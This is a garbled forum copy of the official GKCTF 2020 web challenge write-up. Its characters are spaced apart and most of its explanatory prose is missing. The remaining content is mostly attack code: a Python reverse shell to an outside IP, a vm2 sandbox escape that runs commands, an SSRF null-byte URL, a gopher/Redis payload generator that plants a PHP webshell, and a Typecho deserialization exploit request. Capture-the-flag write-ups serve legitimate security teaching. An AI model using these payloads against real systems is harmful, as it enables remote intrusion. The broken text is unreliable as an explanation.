[20327] 2020-06-12_GKCTF-官方WriteUp首发(WEB)

文档创建者:s7ckTeam
浏览次数:3
最后更新:2025-01-18
2020-06-12_GKCTF-官方WriteUp首发(WEB) G K C T F - W r i t e U p ( W E B ) K h a n   2 0 2 0 - 0 6 - 1 2 B u g F o r   B U G F O R W r i t e t u p G K C T F - W r i t e U p   ( M I S C + C R Y P T O ) G K C T F - W r i t e U p   ( P W N + R E ) w e b 1 .   C h e c k I n 2 .   3 .   C V E 4 .   E z N o d e 5 .   E z W e b 6 .   E z T y p e c h o 7 .   N o d e - e x e 0 x 0 1   C h e c k I n s h e l l                           B u g F o r   . B u g F o r  
                          s h e l l d i s a b l e d _ f u n c t i o n / r e a d f l a g                           p h p 7 . 3                           g i t h u b e x p h t t p s : / / g i t h u b . c o m / m m 0 r 1 / e x p l o i t s / b l o b / m a s t e r / p h p 7 - g c - b y p a s s / e x p l o i t . p h p / t m p                           ? G i n k g o = i n c l u d e ( ' / t m p / e x p . p h p ' ) ;
                          0 x 0 2   s h o p x o                         s h o p x o a d m i n   s h o p x o                               h t t p : / / w w w . n c t r y . c o m / 1 6 6 0 . h t m l
                          s h e l l g e t s h e l l                           f l a g f l a g . h i n t a u t o . s h                           f l a g / r o o t f l a g h i n t c r o n t a b 西 ( a u t o . s h c r o n t a b s h )                           a u t o . s h p y t h o n                                                       P e r m i s s i o n   d e n i e d                           r o o t p y / r o o t / f l a g p y t h o n s h e l l 0 x 0 3   C V E c v e - 2 0 2 0 - 7 0 6 6 s s r f h t t p s : / / s e c u r i t y - t r a c k e r . d e b i a n . o r g / t r a c k e r / C V E - 2 0 2 0 - 7 0 6 6 0 ? u r l = h t t p : / / 1 2 7 . 0 . 0 . 1 2 3 % 0 0 w w w . c t f h u b . c o m               i m p o r t   s o c k e t , s u b p r o c e s s , o s s = s o c k e t . s o c k e t ( s o c k e t . A F _ I N E T , s o c k e t . S O C K _ S T R E A M ) s . c o n n e c t ( ( " 1 7 4 . 1 . 1 1 8 . 2 2 " , 2 3 3 3 ) ) o s . d u p 2 ( s . f i l e n o ( ) , 0 ) o s . d u p 2 ( s . f i l e n o ( ) , 1 ) o s . d u p 2 ( s . f i l e n o ( ) , 2 ) p = s u b p r o c e s s . c a l l ( [ " / b i n / s h " , " - i " ] )
          0 x 0 4   E z N o d e N o d e j s N o d e j s N o d e j s s e t T i m e o u t     d e l a y     2 1 4 7 4 8 3 6 4 7     1     d e l a y     1   d e l a y       使 怀 g i t h u b   a d v i s o r n p m   a d v i s o r v m d o c k e r a p p . u s e ( ( r e q ,   r e s ,   n e x t )   = >   {     i f   ( r e q . p a t h   = = =   ' / e v a l ' )   {         l e t   d e l a y   =   6 0   *   1 0 0 0 ;         c o n s o l e . l o g ( d e l a y ) ;         i f   ( N u m b e r . i s I n t e g e r ( p a r s e I n t ( r e q . q u e r y . d e l a y ) ) )   {             d e l a y   =   M a t h . m a x ( d e l a y ,   p a r s e I n t ( r e q . q u e r y . d e l a y ) ) ;         }         c o n s t   t   =   s e t T i m e o u t ( ( )   = >   n e x t ( ) ,   d e l a y ) ;         / /   2 0 2 0 . 1 / W O R K E R 3   p         s e t T i m e o u t ( ( )   = >   {             c l e a r T i m e o u t ( t ) ;             c o n s o l e . l o g ( ' t i m e o u t ' ) ;             t r y   {                 r e s . s e n d ( ' T i m e o u t ! ' ) ;             }   c a t c h   ( e )   {             }         } ,   1 0 0 0 ) ;     }   e l s e   {         n e x t ( ) ;     } } ) ; a p p . p o s t ( ' / e v a l ' ,   f u n c t i o n   ( r e q ,   r e s )   {     l e t   r e s p o n s e   =   ' ' ;     i f   ( r e q . b o d y . e )   {         t r y   {             r e s p o n s e   =   s a f e r E v a l ( r e q . b o d y . e ) ;         }   c a t c h   ( e )   {             r e s p o n s e   =   ' W r o n g   W r o n g   W r o n g ! ! ! ! ' ;         }     }     r e s . s e n d ( S t r i n g ( r e s p o n s e ) ) ; } ) ? d e l a y = 2 1 4 7 4 8 3 6 4 9 p a c k a g e . j s o n s a f e r - e v a l v m 2
v m 2 i s s u e p a y l o a d   0 x 0 5   E z W e b s s r f + r e d i s ? s e c r e t                           访 i p                           b u u   w e b   r e d i s   访 s s r f . . .   . 1 1 w e b                           . 1 1 6 3 7 9                           g o p h e r : / / s h e l l e x p i m p o r t   r e q u e s t s p r i n t ( r e q u e s t s . p o s t ( ' h t t p : / / l o c a l h o s t : 8 0 8 1 / e v a l ? d e l a y = 2 1 4 7 4 8 3 6 4 9 ' ,   d a t a = {         ' e ' :   " " " ( f u n c t i o n   ( )   {     c o n s t   p r o c e s s   =   c l e a r I m m e d i a t e . c o n s t r u c t o r ( " r e t u r n   p r o c e s s ; " ) ( ) ;     r e t u r n   p r o c e s s . m a i n M o d u l e . r e q u i r e ( " c h i l d _ p r o c e s s " ) . e x e c S y n c ( " c a t   / f l a g " ) . t o S t r i n g ( ) } ) ( ) " " "         } ) . t e x t ) i m p o r t   u r l l i b
                        访 . 1 1 / s h e l l . p h p                           0 x 0 6   E z T y p e c h o P H P _ S E S S I O N _ U P L O A D _ P R O G R E S S t y p e c h o 1 . 1 i n s t a l l . p h p 2 2 8                           $ _ S E S S I O N 使 s e s s i o n _ s t a r t ( ) p h p i m p o r t   u r l l i b p r o t o c o l = " g o p h e r : / / " i p = " 1 7 3 . 5 1 . 3 8 . 1 1 " p o r t = " 6 3 7 9 " s h e l l = " n n < ? p h p   s y s t e m ( " c a t   / f l a g " ) ; ? > n n " f i l e n a m e = " s h e l l . p h p " p a t h = " / v a r / w w w / h t m l " p a s s w d = " " c m d = [ " f l u s h a l l " ,           " s e t   1   { } " . f o r m a t ( s h e l l . r e p l a c e ( "   " , " $ { I F S } " ) ) ,           " c o n f i g   s e t   d i r   { } " . f o r m a t ( p a t h ) ,           " c o n f i g   s e t   d b f i l e n a m e   { } " . f o r m a t ( f i l e n a m e ) ,           " s a v e "           ] i f   p a s s w d :         c m d . i n s e r t ( 0 , " A U T H   { } " . f o r m a t ( p a s s w d ) ) p a y l o a d = p r o t o c o l + i p + " : " + p o r t + " / _ " d e f   r e d i s _ f o r m a t ( a r r ) :         C R L F = " r n "         r e d i s _ a r r   =   a r r . s p l i t ( "   " )         c m d = " "         c m d + = " * " + s t r ( l e n ( r e d i s _ a r r ) )         f o r   x   i n   r e d i s _ a r r :                 c m d + = C R L F + " $ " + s t r ( l e n ( ( x . r e p l a c e ( " $ { I F S } " , "   " ) ) ) ) + C R L F + x . r e p l a c e ( " $ { I F S } " , "   " )         c m d + = C R L F         r e t u r n   c m d i f   _ _ n a m e _ _ = = " _ _ m a i n _ _ " :         f o r   x   i n   c m d :                 p a y l o a d   + =   u r l l i b . q u o t e ( r e d i s _ f o r m a t ( x ) )         p r i n t   p a y l o a d
                          P O S T P H P _ S E S S I O N _ U P L O A D _ P R O G R E S S s e s s i o n s e s s i o n t y p e c h o 1 . 1 , p o c : e x p :                           0 x 0 7   N o d e - E x e e x e w e b e l e c t r o n 便 使 b i n w a l k 7 z i p a d m i n < ? p h p c l a s s   T y p e c h o _ F e e d {         / / c o n s t   R S S 2   =   ' R S S   2 . 0 ' ;         p r i v a t e   $ _ t y p e ;         p r i v a t e   $ _ i t e m s   =   a r r a y ( ) ;         p u b l i c   f u n c t i o n   _ _ c o n s t r u c t ( ) {         / / d a t a b a s e   e r r o r 5 0 0                 $ t h i s - > _ t y p e   =   ' R S S   2 . 0 ' ;                 $ i t e m [ ' a u t h o r ' ]   =   n e w   T y p e c h o _ R e q u e s t ( ) ;                 / / $ i t e m [ ' c a t e g o r y ' ]   =   a r r a y ( n e w   T y p e c h o _ R e q u e s t ( ) ) ;                 $ t h i s - > _ i t e m s [ 0 ]   =   $ i t e m ;         } } c l a s s   T y p e c h o _ R e q u e s t {         p r i v a t e   $ _ p a r a m s   =   a r r a y ( ) ;         p r i v a t e   $ _ f i l t e r   =   a r r a y ( ) ;         f u n c t i o n   _ _ c o n s t r u c t ( ) {                 $ t h i s - > _ p a r a m s [ " s c r e e n N a m e " ] = " c a t   / f l a g " ;                 $ t h i s - > _ f i l t e r [ 0 ] = " s y s t e m " ;         } } $ a   =   a r r a y ( " a d a p t e r "   = >     n e w   T y p e c h o _ F e e d ( ) , " p r e f i x "   = >   " t e s t " ) ; e c h o   b a s e 6 4 _ e n c o d e ( s e r i a l i z e ( $ a ) ) ; ? > i m p o r t   r e q u e s t s u r l = ' h t t p : / / 2 6 b 4 c 3 8 3 - d 6 a 2 - 4 1 b 8 - 8 e a 8 - 5 f 2 8 9 a 4 c 3 6 8 8 . n o d e 3 . b u u o j . c n / i n s t a l l . p h p ? f i n i s h = 1 ' f i l e s = { ' f i l e ' : 1 2 3 } h e a d e r s = {         # p o c _ _ t y p e c h o _ c o n f i g         ' c o o k i e ' : ' P H P S E S S I D = t e s t ; _ _ t y p e c h o _ c o n f i g = Y T o y O n t z O j c 6 I m F k Y X B 0 Z X I i O 0 8 6 M T I 6 I l R 5 c G V j a G 9 f R m V l Z C I 6 M j p 7 c z o x O T o i A F R 5 c G V j a G 9 f R m V l Z A B f d H l w Z S I 7 c z o 3 O i J S U 1 M g M i 4 w I j t z O j I w O i I A V H l w Z W N o b 1 9 G Z W V k A F 9 p d G V t c y I 7 Y T o x O n t p O j A 7 Y T o x O n t z O j Y 6 I m F 1 d G h v c i I 7 T z o x N T o i V H l w Z W N o b 1 9 S Z X F 1 Z X N 0 I j o y O n t z O j I 0 O i I A V H l w Z W N o b 1 9 S Z X F 1 Z X N 0 A F 9 w Y X J h b X M i O 2 E 6 M T p 7 c z o x M D o i c 2 N y Z W V u T m F t Z S I 7 c z o 5 O i J j Y X Q g L 2 Z s Y W c i O 3 1 z O j I 0 O i I A V H l w Z W N o b 1 9 S Z X F 1 Z X N 0 A F 9 m a W x 0 Z X I i O 2 E 6 M T p 7 a T o w O 3 M 6 N j o i c 3 l z d G V t I j t 9 f X 1 9 f X M 6 N j o i c H J l Z m l 4 I j t z O j Q 6 I n R l c 3 Q i O 3 0 = ' ,         ' R e f e r e r ' : ' h t t p : / / 2 6 b 4 c 3 8 3 - d 6 a 2 - 4 1 b 8 - 8 e a 8 - 5 f 2 8 9 a 4 c 3 6 8 8 . n o d e 3 . b u u o j . c n / i n s t a l l . p h p ' } r e = r e q u e s t s . p o s t ( u r l , f i l e s = f i l e s , h e a d e r s = h e a d e r s , d a t a = { " P H P _ S E S S I O N _ U P L O A D _ P R O G R E S S " :   " 1 2 3 4 5 6 7 8 9 " } ) p r i n t ( r e . t e x t )
                          f l a g f l a g f i n a l   f l a g t o k e n t o k e n t o k e n t o k e n e l e c t r o n . r e s o u r c e s a p p . a s a r n o d e a s a r 便 w e b p a c k p a c k a g e . j s o n v u e c r y p t o j s - m d 5 使 j s w e b p a c k m e t h o d s t o k e n t o k e n 使 m d 5                         m e t h o d s e n c r y p t m a k e T o k e n t o k e n a s a r   e x t r a c t   . / a p p . a s a r   . / e x t /
                          使 a e s k e y i v 使 k e y i v e f n o f n k e y i v t o k e n 3 2 m d 5 r e n d e r e r . j s , m o d u l e j s I I F E 便 访 n               m a k e T o k e n :   f u n c t i o n   ( e )   {                 v a r   i   =   t h i s ;                 r e t u r n   c ( ) ( a . a . m a r k ( ( f u n c t i o n   t ( )   {                         v a r   o ,   r ;                         r e t u r n   a . a . w r a p ( ( f u n c t i o n   ( t )   {                                 f o r   ( ; ; )   s w i t c h   ( t . p r e v   =   t . n e x t )   {                                         c a s e   0 :                                                 r e t u r n   " 3 1 1 6 9 f e d c 9 a 2 0 e c f " ,   " d 9 6 a d e e f a a 0 1 0 2 a 9 " ,   o   =   f ( ) ( n ( ) ( e ) ) ,   t . n e x t   =   5 ,   i . e n c r y p t ( " 3 1 1 6 9 f e d c 9 a 2 0 e c f " ,   " d 9 6 a d e e f a a 0 1 0 2 a 9 " ,   o ) ;                                         c a s e   5 :                                                 r e t u r n   r   =   t . s e n t ,   t . a b r u p t ( " r e t u r n " ,   r ) ;                                         c a s e   7 :                                         c a s e   " e n d " :                                                 r e t u r n   t . s t o p ( )                                 }                         } ) ,   t ,   i )                 } ) ) ) ( )         } , m o d u l e . e x p o r t s   =   f u n c t i o n ( e ) { . . . } ( [ f u n c t i o n ( e ) { } . . . ] ) ;
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则